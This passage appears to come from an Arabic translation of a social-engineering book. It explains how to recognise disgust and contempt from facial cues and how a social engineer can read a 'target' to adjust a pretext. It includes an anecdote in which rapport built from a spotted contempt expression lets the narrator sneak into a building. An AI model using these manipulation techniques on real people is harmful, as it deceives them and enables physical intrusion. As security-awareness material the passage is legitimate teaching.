‫اﻻﺷﻣﺋزاز ﯾﻣﻛن أن ﺗﺛﯾر رد ﻓﻌل ﻓﺳﯾوﻟوﺟﯾﺔ ﻗوﯾﺔ ﻓﻲ ﺷﺧص ﻣﺎ‪ .‬ﻋﻧد اﻻﺷﻣﺋزاز ﻣن اﻷﺷﯾﺎء‪ ،‬ﻛﯾف ﺗﺷﻌر؟ ﺑﻌض اﻟﻧﺎس ﯾﺷﻣﺋزوا ﻋﻧد رؤﯾﺔ‬
‫اﻟدم‪ .‬ﻣﺎ اﻟذي ﯾﺷﻌر ﺑﮫ اﻟﻣرﺿﻰ اﻵﺧرﯾن ﻋﻧدﻣﺎ ﻧﻔﻛر ﻓﻲ اﻟﻘﻲء‪ .‬رﺑﻣﺎ أﺛﻧﺎء ﻗراءة ھذه اﻟﻔﻘرة اﻟﻘﺻﯾرة ﺑدأت ﺗظﮭر ﺗﻌﺎﺑﯾر اﻻﺷﻣﺋزاز ﻋرض‬
‫اﻟﺗﻌﺑﯾر ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﺑول ﻛﯾﻠﻲ ﯾﻘول ان اﻟﺷﻌور ﺑﺎﻻﺷﻣﺋزاز ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻔﻘد ﻋﻧدﻣﺎ ﯾﺗم اﺧﺗﺑﺎر اﻟﻧﺎس ﻋﻠﻰ أﻧﮫ واﻗﻊ ﻓﻲ اﻟﺣﯾﺎة ﻷﻧﮭﺎ ﻻ ﺗﻌﺗرف ﺑذﻟك ﻋﻠﻰ ﻣﺎ ھو ﻋﻠﯾﮫ‪.‬‬
‫ﺑﻌد ﺗدرﯾب أﻧﻔﺳﻧﺎ ﻟرؤﯾﺔ اﻻﺷﻣﺋزاز ﻋﻧد اﻟﺗﻌﺎﻣل ﻣﻊ اﻵﺧرﯾن ﯾﻣﻛن ﺗﻐﯾﯾر اﺗﺻﺎﻻﺗﻧﺎ ﻋﻣﯾﻘﺎ‪ .‬ﻋﻧدﻣﺎ طﻠب ﻣن ﺗﺳﻣﯾﺔ ﺣﺎﻻت أﯾﻛﻣن اﻟﺳﺑﻌﺔ‬
‫ﻟﻠﻌواطف اﻟﻌﺎﻟﻣﯾﺔ‪ ،‬ﻓﺎن ﻣﻌظم اﻟﻧﺎس ﻗﺎﻣت ﺑﺳردھم ﺑﺳرﻋﺔ وﻗﺎﻟوا ﺳﻌﯾدة‪ ،‬ﺣزﯾﻧﺔ‪ ،‬ﻣﻔﺎﺟﺄة‪ ،‬ﺧوف‪ ،‬واﻟﻐﺿب‪ .‬ﻧﺎدرا ﻣﺎ ذﻛر اﻻﺷﻣﺋزاز أو‬
‫ازدراء‪ ،‬وﻟﻛن ﻛﻼھﻣﺎ ﻣﮭم ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬إن اﻟﻛﺛﯾر ﯾﺧﻠط ﺑﯾن اﻻﺷﻣﺋزاز واﻟﻐﺿب‪ ،‬وﻟﻛل ﻣﻧﮭﺎ ﺧﺻﺎﺋﺻﮭﺎ اﻟﻔرﯾدة‪.‬‬
‫ﺗﺧﯾل ﺿﺎﺑط إﻧﻔﺎذ اﻟﻘﺎﻧون ﻗﺎم ﺑﺈﺟراء ﻣﻘﺎﺑﻼت ﻣﻊ اﻟﻣﺷﺗﺑﮫ ﺑﮫ‪ ،‬ﯾﺳﺄل ﻋن ﺷﺧص ﻣﻔﻘود‪ ،‬وﻧرى وﻣﺿﺔ ﻣن اﻻﺷﻣﺋزاز ﻋﻠﻰ وﺟﮫ اﻟﻣﺷﺗﺑﮫ ﺑﮫ‪.‬‬
‫ﻣﺎذا ﻣن ﺷﺄﻧﮫ أن ﯾﻘول ﻟك؟ ﯾﺣﺗﺎج اﻟﺿﺎﺑط ﻧزول ھذا اﻟطرﯾﻖ ﻻﺳﺗﺟواب أﻛﺛر ﻋﻣﻘﺎ‪ .‬اﻟﺿﺎﺑط ﯾﺣﺗﺎج إﻟﻰ ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﺑﺎﻻﺷﻣﺋزاز اﻟﻣﺷﺗﺑﮫ‬
‫ﺑﮫ ﻓﻲ ﺿﺎﺑط أو ﺗﺧﯾل ﻣﺷﮭد اﻟﻌﻧف أو أي ﺷﻲء آﺧر ﯾﻣﻛن أن ﯾﻛون ﺳﺑب ﻓﻲ طرح ﺗﻠك اﻟﻌﺎطﻔﺔ‪.‬‬
‫ﻣﺟرد ﺗدرﺑك ﻟﺗرى ھذا اﻟﺗﻌﺑﯾر‪ ،‬ﻛﻣﺎ وﺿﻌﮫ ﺑول ﻛﯾﻠﻲ "ﻓﺳوف ﺗرى ذﻟك أﻛﺛر ﺑﻛﺛﯾر ﻣﻣﺎ ﻛﻧت ﺗرﯾد"‪.‬‬
‫ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻣﯾز اﻻﺷﻣﺋزاز أن اﻟﺷﻔﺔ اﻟﻌﻠﯾﺎ ﺗﺛﺎر‪/‬ﺗرﻓﻊ ﻟﻠﻛﺷف ﻋن اﻷﺳﻧﺎن‪ ،‬وﺗﺟﻌد اﻷﻧف‪ .‬ﻗد ﯾؤدي أﯾﺿﺎ أن ﻛﻼ اﻟﺧدﯾن ﯾرﻓﻌﺎ ﻋﻧدﻣﺎ ﯾﺣدث‬
‫ﺗﺟﺎﻋﯾد اﻷﻧف‪ ،‬وﻛﺄﻧك ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﻣﻧﻊ ﻣرور راﺋﺣﺔ ﺳﯾﺋﺔ‪.‬‬
‫ﻣﺎ ﻣن أي وﻗت ﻣﺿﻰ اﻟرﺟل ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ رأى ﻣﺷﮭد‪ ،‬ﺗﺳﺑب ﻓﻲ ﻋرض ﻣﻠﺣوظ ﺟدا ﻟﻣﺷﺎﻋر اﻻﺷﻣﺋزاز‪.‬‬

‫اﻟﺗﻔﺻﯾل‬
‫ﯾﺗم ﺗﻘﺳﯾم اﻻﺷﻣﺋزاز اﻟﻰ ﻋدد ﻗﻠﯾل ﻣن اﻟﻣﻧﺎطﻖ اﻟﻣﺧﺗﻠﻔﺔ اﻟﺗﻲ ﯾﺣﺎول اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﻘﺎطﮭﺎ واﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟﺗﻔﺎﻋﻼت‪ .‬ﺣﺎول ﻣﻼﺣظﮫ‬
‫ھذه اﻟﻌﻼﻣﺎت‪:‬‬
‫‪ -1‬ﺗﺟﻌد اﻷﻧف‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﺗﻘرﯾﺑﺎ ﻛﻣﺎ ﻟو أﻧﮫ اﻏﻼق أﻧﻔﮫ ﻧﺗﯾﺟﺔ ﻟراﺋﺣﺔ ﻛرﯾﮭﺔ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‪ ،‬ﺳوف ﺗظﮭر‬
‫اﻟﺗﺟﺎﻋﯾد ﻋﻠﻰ ﺟﺳر اﻷﻧف‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪832‬‬

‫‪ -2‬اﻟﺷﻔﺎه ﺗﺻﺑﺢ ﻣﻠﻔوﻓﮫ‪ ،‬وﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ﺗﻛون ﻣﻔﺗوﺣﺔ‪ ،‬واﻟﺗﻲ ﺗﺑﯾن ﺟزء ﻣن اﻷﺳﻧﺎن‪ .‬ﯾﺑﯾن اﻟﺷﻛل اﻟﺗﺎﻟﻰ اﻻﺷﻣﺋزاز ﻣﻊ ﻛل ﻣن‬
‫اﻟﺷﻔﺎه اﻟﻣﻐﻠﻘﺔ واﻟﻣﻔﺗوﺣﺔ‪ .‬ﻓﻲ اﻻﺷﻣﺋزاز اﻟﻛﻼﺳﯾﻛﻲ‪ ،‬ﯾوﺟﮫ اﻟﺷﻔﺔ اﻟﻰ اﻋﻠﻰ ﺣﺗﻰ اﻷﻧف‪ ،‬وﻋرض اﻷﺳﻧﺎن اﻟﻌﻠﯾﺎ‪.‬‬

‫‪ -3‬اﻟﺟﺑﯾن ﯾﻣﻛن أن ﯾﺻﺑﺢ ﻣﺟﻌدا ً إﻟﻰ ﺣد أن اﻹﺳﺎءة ﻣن وﺟوه اﻻﺷﻣﺋزاز واﻟﺗﻲ ﯾﻣﻛن أن ﯾﺳﺑب ﺗﮭﯾﺞ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻋﻧد اﻟﻘﯾﺎم ﺑﮭذا اﻟوﺿﻊ ﻓﺎﻧﮫ ﻣن اﻟﺻﻌب اﻟﺗﻧﻔس ﻋن طرﯾﻖ اﻷﻧف‪ .‬ﺣﯾث ان اﻟﺟﺳم ﯾﺣﺎول ﻣﻧﻊ ھذا اﻟﻛﺎﺋن اﻟﮭﺟوﻣﻲ ﻋن ﻣوﻗﻌﻧﺎ ﻋﻠﻰ اﻟﺷم‬
‫واﻟﺑﺻر‪ .‬اﻻﺷﻣﺋزاز‪ ،‬ﻣن اﻟواﺿﺢ‪ ،‬ھو ﻋﺎطﻔﺔ ﻏﯾر ﺳﺎرة‪ .‬ﺣﺗﻰ ﻣﺷﺎھدة ﺷﺧص ﯾﻣﻛن أن ﺗﺟﻌﻠك ﺗﺷﻌر ﺑﻌدم اﻻرﺗﯾﺎح وﺳرﻋﺔ اﻻﻧﻔﻌﺎل‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬اﻟﺗﻌﻠم ﻟرؤﯾﺔ ھذا اﻟﺗﻌﺑﯾر ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﻓﮭم اﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ واﻟﺗﻛﯾف ﻣﻊ ﻧﻣط ﺣﯾﺎﺗك‪.‬‬
‫اﻻﺷﻣﺋزاز ھﻲ واﺣدة ﻣن ﺗﻠك اﻟﻣﺷﺎﻋر‪ ،‬وﻓﻘﺎ ﻟﺑﺣث اﻟدﻛﺗور أﯾﻛﻣن‪ ،‬ذات رد ﻓﻌل ﻋﻠﻰ اﻟﺑﺻر واﻟﺷم‪ ،‬أو ﺣﺗﻰ اﻟﺗﻔﻛﯾر ﻓﻲ ﺷﻲء ﻣﻘﯾت‪ .‬ﻣن‬
‫وﺟﮭﺔ ﻧظر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھذه اﻟﻌﺎطﻔﺔ ﻗد ﻻ ﺗﻘودك إﻟﻰ اﻧﺧﻔﺎض ﻣﺳﺎرات اﻟﻧﺟﺎح‪ ،‬وﻟﻛن ﯾﻣﻛن أن ﺗﺳﺎﻋد ﺑﺎﻟﺗﺄﻛﯾد ﻟﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﻧت ﻗد‬
‫ﺿرﺑت اﻟﻌﻼﻣﺔ اﻟﺣﻣراء ﻣﻊ اﻟﮭدف اﻟﺧﺎص ﺑك أو اﻟﺗﺳﺑب ﻟﮫ ﺑﺈﻏﻼق ﻋﻘﻠﮫ ﻋن أﻓﻛﺎرك‪.‬‬
‫اﻻﺣﺗﻣﺎﻻت ھﻲ أﻧك إذا ﺣدث اﻻﺷﻣﺋزاز ﻷي ﺳﺑب ﻣن اﻷﺳﺑﺎب ﻓﻲ اﻟﮭدف اﻟﺧﺎص ﺑك‪ ،‬ﺗﻛون ھﻧﺎ ﻗد ﻓﻘدﺗﮫ‪ .‬إذا ﻛﺎن ﻟدﯾك اﻟﻣظﮭر‪ ،‬اﻟراﺋﺣﺔ‪،‬‬
‫اﻷﺳﻠوب‪ ،‬اﻟﺗﻧﻔس‪ ،‬أو أي ﺟﺎﻧب آﺧر ﻣن ﺷﺧﺻﻛم ﯾﻣﻛن أن ﺗﺟﻌل اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻻﺷﻣﺋزاز‪ ،‬ﻓﺈﻧﮫ ﯾﺟب ﻋﻠﯾﮫ ﻏﻠﻖ اﻟﺑﺎب ﺣول ھذا ﻟﺗﺣﻘﯾﻖ‬
‫اﻟﻧﺟﺎح‪ .‬ﯾﺟب أن ﺗﻛون ﻋﻠﻰ ﻋﻠم ﻣﺎ ھو ﻣﻘﺑول وﻏﯾر ﻣﻘﺑول ﻷھداﻓك‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﺎن اﻟﻣظﮭر اﻟﺧﺎﺻﺔ ﺑك ھو ﻟﺷرﻛﺔ ﻣﺣﺎﻣﺎة‬
‫ﻣرﻣوﻗﺔ وﻟدﯾك اﻟﻌدﯾد ﻣن اﻟﺛﻘب أو اﻟوﺷم‪ ،‬ﻗد ﺗرﺗﻔﻊ ﻋﺎطﻔﺔ ﺳﻠﺑﯾﺔ ﻗوﯾﺔ ﺟدا ﻓﻲ اﻟﮭدف اﻟﺧﺎص ﺑك‪ ،‬واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ إﻏﻼق اﻟﺑﺎب أﻣﺎم ﻣﺣﺎوﻟﺗك‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬إذا ﻛﻧت ﺗرى ﺗﻌﺑﯾرات اﻟوﺟﮫ ﻣﻣﺎﺛﻠﮫ ﻓﺎﻧت ﺗﻌرف ان اﻟوﻗت ﻗد ﺣﺎن ﻟﻣﻐﺎدرة اﻟﻣﺷﮭد‪.‬‬
‫ﯾﺟب ﻋﻠﯾك أن ﺗﻧظر ﺑﺟدﯾﺔ اﻟﻰ ﻣظﮭرك ﻋﻧد اﻟﻌﻣل ﻋﻠﻰ اﻟذرﯾﻌﺔ اﻟﺧﺎص ﺑك‪ .‬إذا ﺣدث وﻻﺣظت ﻣﺷﺎﻋر ﺳﻠﺑﯾﺔ ﻗوﯾﺔ ﻣن اﻻﺷﻣﺋزاز ﻓﻲ اﻟﮭدف‬
‫اﻟﺧﺎص ﺑك‪ ،‬ﻓﺗراﺟﻊ ﻓﻲ اﻟﺣﺎل وأﻋذر ﻧﻔﺳك ﺑﺄدب ﺛم ﻗم ﺑﺈﻋﺎدة ﺻﯾﺎﻏﺔ اﻟذرﯾﻌﺔ أو إﯾﺟﺎد ﻣﺳﺎر ﻣﺧﺗﻠف ﻗد ﯾﻛون ﻓﻛرة ﺟﯾدة‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪833‬‬

‫اﻻﺣﺘﻘﺎر )‪(Contempt‬‬

‫ﻓﻲ ‪ ،Emotions Revealed‬ﯾﻘول اﻟدﻛﺗور أﯾﻛﻣن أن "اﻻﺣﺗﻘﺎر ھو ﻣن ذوي اﻟﺧﺑرة ﻓﻘط ﺣول ﺷﺧص أو ﺗﺻرﻓﺎت اﻟﻧﺎس وﻟﻛن ﻟﯾس ﻋن‬
‫اﻷذواق‪ ،‬اﻟرواﺋﺢ أو اﻟﻠﻣﺳﺎت"‪.‬‬
‫ﺛم أﻋطﻰ ﻣﺛﺎﻻ ﻟﻸﻛل أدﻣﻐﺔ اﻟﻌﺟل‪ ،‬واﻟﺗﻲ ﻗد ﺗﻛون ﻣﺛﯾرة ﻟﻼﺷﻣﺋزاز ﻟك ﻛﻔﻛرة‪ ،‬وﺳوف ﯾؤدي اﻟﻰ اﻻﺷﻣﺋزاز‪ .‬ﺑﻌد رؤﯾﺔ ﺷﺧص ﺗﻧﺎوﻟﮭﺎ ﻗد‬
‫ﯾؤدي ازدراء ﻟﻠﺷﺧص اﻟذي ارﺗﻛب اﻟﻔﻌل‪ ،‬وﻟﯾس اﻟﻔﻌل ﻧﻔﺳﮫ‪.‬‬
‫‪ ،Yixue Zhou‬ھو ﺑﺎﺣث ﻣن ﺟﺎﻣﻌﺔ ﺑﻧﺳﻠﻔﺎﻧﯾﺎ‪ ،‬ﻓﻲ ورﻗﺔ "اﻻﺣﺗﻘﺎر واﺣﺗرام اﻟذات )‪ ،"(Contempt and Self-Esteem‬ﯾﻌرف‬
‫ازدراء‪/‬اﻻﺣﺗﻘﺎر ﻋﻠﻰ أﻧﮫ "رد ﻓﻌل ﻋﺎطﻔﻲ ﻟﻔرد أو ﻣﺟﻣوﻋﺔ ﻋﻧدﻣﺎ ﯾﻧظر إﻟﻲ اﻟﮭدف ﻋﻠﻰ أﻧﮫ إﻣﺎ أﺧﻼﻗﯾﺎ أو اﺟﺗﻣﺎﻋﯾﺎ أدﻧﻰ ﻣن ﻧﮫ"‪.‬‬
‫ﻓﯾﺷر وروزﻣﺎن‪ ،‬ﻓﻲ ورﻗﺔ ﺑﺣﺛﮭم ﺑﻌﻧوان "ﺿرﺑﮭم أو ﺣظرھم‪ :‬اﻟﺧﺻﺎﺋص واﻟوظﺎﺋف اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن اﻟﻐﺿب واﻻﺣﺗﻘﺎر"‪ ،‬ﻗﺎﻣوا ﺑﺗﻌرﯾف‬
‫اﻻزدراء‪/‬اﻻﺣﺗﻘﺎر ﺑﻘوﻟﮭم إن اﻟﻐرض ﻣن اﻻزدراء ھو رﻓض ﻣوﺿﻊ اﻻزدراء ﻣن ﻓﺋﺔ اﺟﺗﻣﺎﻋﯾﺔ ﻟدﯾﻧﺎ أو طﺑﻘﺔ‪.‬‬
‫ﻣن ھذه اﻟﺗﻌرﯾﻔﺎت اﻟﻣﺧﺗﻠﻔﺔ‪ ،‬ﻓﺈﻧﮫ ﻣن اﻟﺳﮭل أن ﻧرى أن اﻻزدراء ھﻲ ﻋﺎطﻔﺔ ﺳﻠﺑﯾﺔ اﻟﺗﻲ ﻓﻲ ﻋﻣل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻧرﯾد ان ﻧﺗﺟﻧب ﻋرﺿﮭﺎ‬
‫وﻧﺄﻣل ﺑﺎﻟﺗﺄﻛﯾد ﺑﺄن ﻻ ﻧرى ﺗﻠك ﻓﻲ ﺗﻔﺎﻋﻼﺗﻧﺎ ﻣﻌﮭﺎ‪.‬‬
‫ﻓﻲ واﺣد ﻣن اﻟﺗﻔﺎﻋل ﻟﻣﺟﻣوﻋﺔ ﻣن ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬ﻟﻘد ﺳﻣﻌت رﺟل ﯾدﻋﻰ ﺟﯾم ﻗﺎم ﺑﺈﺧﺑﺎر ﻣﺟﻣوﻋﺔ ﻛم ﻋدد اﻟﻣﺑﯾﻌﺎت اﻟﺗﻲ أدﻟوا ﺑﮭﺎ ھذا‬
‫اﻟﺷﮭر‪ .‬وﻗﺎل اﻧﮫ ﻻ ﯾﺷﯾر ﻓﻘط إﻟﻰ ﻧﺟﺎﺣﮫ‪ ،‬وإن ﻛﺎن‪ .‬ﻓﺎﻧﮫ ﯾﺷﯾر أﯾﺿﺎ ﻟﻠﺗﺄﻛد ﻣن أن اﻟﺟﻣﯾﻊ ﯾﻌرف اﻧﮫ ﻓﺎز ﻋﻠﻰ راﻟف ﺑذﻛر أرﻗﺎم ﻣﺑﯾﻌﺎت راﻟف‬
‫اﻟﻣﻧﺧﻔﺿﺔ ﻟﮭذا اﻟﺷﮭر‪ .‬ﻓﻲ ﺣﯾن ﻛﺎن اﻵﺧرون ﺑﻌﯾدا‪ ،‬رأﯾت وﺟﮫ راﻟف اﻟﻌﺎطﻔﺔ ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫راﻟف ﯾﻣﺳك ﻧﻔﺳﮫ ﺑﺳرﻋﺔ‪ ،‬ﯾﺑﺗﺳم‪ ،‬وﯾﻠﺣﻖ ﺑﺎﻟﻣﺟﻣوﻋﺔ‪ .‬ﺣﯾث ﻗﺎل اﻧﮫ ﻻ ﯾرﯾد أن ﯾﺗرك اﻟﻣﺟﻣوﻋﺔ‪ .‬اﻧﺎ ﻣﺷﯾت ﻧﺣوه‪ ،‬وﻗﻠت ﻟﮫ‪" :‬راﻟف‪ ،‬أﻧﺎ ﺟدﯾد‬
‫ﻓﻲ اﻟﺷرﻛﺔ‪ ،‬وﻟﻛن أﻧﺻت‪ ،‬ﻣﺎ ﻓﻌﻠﮫ ھذا اﻟرﺟل ﻛﺎن ﻏﺑﯾﺎ ﺣﻘﺎ‪ .‬ﻓﯾﺑدو وﻛﺄﻧﮫ أﺑدى رﻋﺷﺔ ﻣﺗﻐطرﺳﺔ" ‪.‬‬
‫راﻟف ﻧظر اﻟﻰ ﻛﺄﻧﻧﻲ أﺳﺗطﯾﻊ ﻗراءة ﻋﻘﻠﮫ‪ ،‬وﻗﺎل‪" :‬إﻧﮫ ﻟﯾس ﺑﮭذا اﻟﺳوء‪ .‬اﻧﮫ ﻓﻘط ﯾﻔﻛر ﻓﻲ ﻧﻔﺳﮫ ﻛﺛﯾرا ‪ " ...‬وﺻوﺗﮫ ﻛﺄﻧﮫ ﻣﺗﺄﺧر‪.‬‬
‫"ﺣﺳﻧﺎ‪ ،‬ﺑﺄي طرﯾﻘﺔ‪ ،‬أﻧﺎ ﻣﺗﺄﻛد أﻧك ﺳوف ﺗرﻛﻠﮫ اﻟﺷﮭر اﻟﻣﻘﺑل"‪.‬‬
‫ﺑﺣﻠول ذﻟك اﻟوﻗت ﻛﻧت ﻗد اﻗﺗرﺑت ﻣن اﻟﺑﺎب اﻷﻣﺎﻣﻲ‪ ،‬واﻟذي ظل ﻣﻔﺗوﺣﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ ﻛﺄﻧﻧﻲ اﻟﺗﺣﻖ ﺑﺎﻟﺷرﻛﺔ‪ .‬وﺷﻛرﻧﻲ ﻟﺗﻌزﯾز ذاﺗﮫ‪ .‬ﻓذھب اﻟﻰ‬
‫طرﯾﻘﮫ‪ ،‬وذھﺑت ﻓﻲ طرﯾﻘﻲ‪ .‬اﻟﻘدرة ﻋﻠﻰ اﻟﻘراءة ﺑﺳرﻋﺔ واﻟرد ﻋﻠﻰ ﺗﻌﺎﺑﯾر اﻟوﺟﮫ ﺳﺎﻋدﻧﻲ ﻷرى ﻓرﺻﺔ ﻟﻠﺗﻔﺎﻋل ﻣﻊ اﻟﺷﺧص ﻋﻠﻰ اﻟﻣﺳﺗوى‬
‫اﻟﻌﺎطﻔﻲ اﻟذي ﺟﻌﻠﮫ ﯾﺷﻌر ﺑﺎﻟﻘﺑول‪ .‬ھذا اﻟﺗﻔﺎﻋل دﻓﻌﻧﻲ إﻟﻰ اﻟﻧﺟﺎح‪ ،‬وﺗﻣﻛﻧت ﻣن اﻟﺗﺳﻠل إﻟﻰ اﻟﻣﺑﻧﻰ‪.‬‬
‫اﻻزدراء ھﻲ واﺣدة ﻣن ﺗﻠك اﻟﻣﺷﺎﻋر اﻟﺗﻲ أﻧﺎ ﻻ أﻧﺻﺢ ﺑﺎﻟﻧﺳﺦ اﻟﻣﺗطﺎﺑﻖ‪ .‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ﯾﻣﻛن أن ارى اﻻزدراء واﺳﺗﺧداﻣﮭﺎ )ﻛﻣﺎ ﻓﻲ‬
‫ﺣﺎﻟﺔ راﻟف(‪ ،‬وﻟﻛن أﻧﺎ ﻻ أرﯾد أن أﺿﺎف إﻟﻰ ھذا اﻟﺷﻌور‪ .‬اﻻﺣﺗﻘﺎر‪ ،‬إذا آوى‪ ،‬ﯾﻣﻛن أن ﯾﺗﺣول إﻟﻰ اﻟﻐﺿب‪ .‬ﻷﻧﮫ ﯾﻣﻛن أن ﯾﻘودك إﻟﻰ طرﯾﻖ‬
‫ﺳﻠﺑﻲ‪ ،‬وأﻧﺎ أرﯾد أن أﺗرك ھذه اﻟﻌﺎطﻔﺔ ﻓﻲ اﻟﺧﻠف‪.‬‬
‫اﻻﺣﺗﻘﺎر‪/‬اﻻزدراء ھو اﻟﻌﺎطﻔﺔ اﻟﻘوﯾﺔ ﺟدا اﻟﺗﻲ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺗم اﻟﺧﻠط ﺑﯾﻧﮭﺎ وﺑﯾن اﻻﺷﻣﺋزاز ﻷﻧﮭﺎ ﻣرﺗﺑطﺔ ﺑﮭﺎ ﺑﺷﻛل وﺛﯾﻖ‪ .‬اﻟدﻛﺗور أﯾﻛﻣن ﻟم ﯾﺷﻣل‬
‫اﻻزدراء ﻓﻲ اﻟﻘﺎﺋﻣﺔ اﻷوﻟﻰ ﻟﮫ ﻣن اﻟﻌواطف اﻷﺳﺎﺳﯾﺔ‪.‬‬
‫ﺣﻘﯾﻘﺔ أن اﻻزدراء ﯾﺳﺗﮭدف ﺷﺧص ﺑدﻻ ﻣن اﻟﺷﻲء أﻣر ﺣﺎﺳم ﻟﻔﮭم ‪ .microexpressions‬أن ﺗﻛون ﻗﺎدرة ﻋﻠﻰ ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص‬
‫اﻟذي ﺗﺗﻌﺎﻣل ﻣﻌﮫ ﯾﺷﻌر ﺑﺎﻻزدراء ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ ﺗﺣدﯾد أﻛﺛر ﻋن ﻛﺛب ﺳﺑب اﻟﻌﺎطﻔﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪834‬‬

‫اﻟﺗﻔﺻﯾل‪:‬‬
‫اﻟﺷﻌور ﺑﺎﻻزدراء او اﻻﺣﺗﻘﺎر ﯾﻣﻛن أن ﯾﺗﺿﻣن ﻣﺷﺎﻋر ﻣﺛل اﻟﺗﻔوق‪ ،‬اﻟﻐرور أو اﻟﻐطرﺳﺔ‪ ،‬وداﺋﻣﺎ ﺗظﮭر ﻓﻲ ﺟﺎﻧب واﺣد‪ ،‬أو ﺗظﮭر ﻓﻘط ﻋﻠﻰ‬
‫ﺟﺎﻧب واﺣد ﻣن اﻟوﺟﮫ‪ ،‬ﻣﻊ زاوﯾﺔ واﺣدة ﻣن اﻟﻔم اﻟﻣﺳﺣوب‪ ،‬واﻟﺧد و‪/‬أو اﻟﻐﻣﺎزة ﻋﻠﻰ ﻧﻔس ھذا اﻟﺟﺎﻧب ﺑﺎرز‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب أن‬
‫ﯾﻛون ﻗﺎدرا ﻋﻠﻰ اﻗﺗطﺎف اﻟﻌﻼﻣﺎت واﻟﺗﻠﻣﯾﺣﺎت اﻟﺧﻔﯾﺔ ﻟﻠﺷﺧص اﻟذي ﯾﺷﻌر ﺑﺎﻻﺣﺗﻘﺎر‪ .‬اﺑﺣث ﻋن ھذه اﻟﻌﻼﻣﺎت‪:‬‬
‫‪ -‬ﯾﺗم رﻓﻊ ﺟﺎﻧب واﺣد ﻣن اﻟوﺟﮫ‪ ،‬ﻛﻣﺎ ﻟو ان اﻟﺧد ﻣدﻓوع إﻟﻰ اﻟﺣول‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﯾﻣﻛن رﻓﻊ اﻟذﻗن‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪ ،‬ﻣﻣﺎ ﯾﺟﻌل ﻣن اﻷﺳﮭل أن ﻧﻧظر إﻟﻰ أﺳﻔل ﻓﻲ ﻣوﺿﻊ اﻻﺣﺗﻘﺎر‪.‬‬ ‫‪-‬‬

‫ﻓﻲ ﻛﺛﯾر ﻣن اﻟﺣﺎﻻت‪ ،‬ﯾﻌرض ازدراء ﻟﻌﺿﻠﺔ اﻟﺧد اﻟﺗﻲ أﺛﯾرت ﻋﻠﻰ ﻧﻔس اﻟﺟﺎﻧب ﻣن اﻟوﺟﮫ واﻟﺷﻔﺔ ﻏﯾر اﻟﻣﺗﻛﺎﻓﺋﺔ ﻣﻘﻠوﺑﺔ‪ ،‬ﻛﻣﺎ ھو‬ ‫‪-‬‬
‫ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫‪ -‬ﺑﻣﺟرد أن ﻧﺗﻌﻠم ﻛﯾف ﻧﺗﻌرف ﻋﻠﻰ اﻻزدراء‪ ،‬رﺑﻣﺎ ﺗﻛون أﺳﮭل ﻋﺎطﻔﺔ )ﺑﻌد اﻟﺳﻌﺎدة( ﯾﻣﻛن ﻣﻼﺣظﺗﮭﺎ‪ .‬ﻗد ﺗﻔﺎﺟﺄ ﻛﺛﯾرا ﻋﻧدﻣﺎ ﺗراه‪ ،‬وﻟﻛن‬
‫ﺗذﻛر اﻟﺳؤال "ﻟﻣﺎذا"!‬
